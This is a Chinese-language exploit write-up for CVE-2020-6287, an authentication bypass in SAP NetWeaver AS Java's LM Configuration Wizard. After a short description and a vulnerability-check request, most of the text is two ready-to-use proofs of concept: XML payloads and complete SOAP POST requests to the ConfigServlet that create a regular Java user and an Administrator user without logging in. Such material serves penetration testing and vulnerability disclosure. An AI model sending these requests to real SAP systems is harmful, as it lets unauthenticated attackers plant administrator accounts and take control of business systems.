[CVE-2020-6287] SAP NetWeaver AS JAVA (LM 配置向导) 认证绕过（创建简单 & 管理员 Java 用户）

SAP NetWeaver 是 SAP 的集成技术平台，也是自 SAP Business Suite 以来所有 SAP 应用的技术基础。SAP NetWeaver 是一个面向服务的应用和集成平台，为 SAP 应用提供开发和运行环境，也可用于自定义开发以及与其他应用和系统的集成。SAP NetWeaver AS JAVA (LM 配置向导)，版本 7.30, 7.31, 7.40, 7.50，未执行认证检查，使得未事先认证的攻击者能够执行配置任务，对 SAP Java 系统实施关键操作，包括创建管理员用户的能力，从而危害系统的保密性、完整性和可用性，导致缺少认证检查。

检查 CVE-2020-6287： GET /CTCWebService/CTCWebServiceBean?wsdl
创建简单 Java 用户：前往 概念验证 (PoC) 1
创建管理员 Java 用户：概念验证 (PoC) 2
安全概念验证：请查看 CVE-2020-6286 仓库

概念验证 (PoC) 1： 创建简单 Java 用户

Payload

<root>
    <user>
        <JavaOrABAP>java</JavaOrABAP>
        <username>pentestuser</username>
        <password>v3rystr0ngp@ssw0rd</password>
        <userType></userType>
    </user>
</root>

将上述 Payload 编码为 Base64，并插入以下请求的 <BASE64_ENCODED_PAYLOAD_HERE> 字段中

POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340

<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
    <soapenv:Header />
    <soapenv:Body>
        <urn:executeSynchronious>
            <identifier>
                <component>sap.com/tc~lm~config~content</component>
                <path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
            </identifier>
            <contextMessages>
                <baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
                <name>userDetails</name>
            </contextMessages>
        </urn:executeSynchronious>
    </soapenv:Body>
</soapenv:Envelope>

概念验证 (PoC) 2： 创建管理员 Java 用户

Payload

<PCK>
    <Usermanagement>
        <SAP_XI_PCK_CONFIG>
            <roleName>Administrator</roleName>
        </SAP_XI_PCK_CONFIG>
        <SAP_XI_PCK_COMMUNICATION>
            <roleName>ThisIsRnd9326</roleName>
        </SAP_XI_PCK_COMMUNICATION>
        <SAP_XI_PCK_MONITOR>
            <roleName>ThisIsRnd5031</roleName>
        </SAP_XI_PCK_MONITOR>
        <SAP_XI_PCK_ADMIN>
            <roleName>ThisIsRnd9846</roleName>
        </SAP_XI_PCK_ADMIN>
        <PCKUser>
            <userName secure="true">pentestuser</userName>
            <password secure="true">v3rystr0ngp@ssw0rd</password>
        </PCKUser>
        <PCKReceiver>
            <userName>ThisIsRnd6461</userName>
            <password secure="true">ThisIsRnd5525</password>
        </PCKReceiver>
        <PCKMonitor>
            <userName>ThisIsRnd9457</userName>
            <password secure="true">ThisIsRnd9037</password>
        </PCKMonitor>
        <PCKAdmin>
            <userName>ThisIsRnd8386</userName>
            <password secure="true">ThisIsRnd8477</password>
        </PCKAdmin>
    </Usermanagement>
</PCK>

将上述 Payload 编码为 Base64，并插入以下请求的 <BASE64_ENCODED_PAYLOAD_HERE> 字段中

POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340

<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
    <soapenv:Header />
    <soapenv:Body>
        <urn:executeSynchronious>
            <identifier>
                <component>sap.com/tc~lm~config~content</component>
                <path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
            </identifier>
            <contextMessages>
                <baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
                <name>userDetails</name>
            </contextMessages>
        </urn:executeSynchronious>
    </soapenv:Body>
</soapenv:Envelope>

CVE-2020-6287

最受欢迎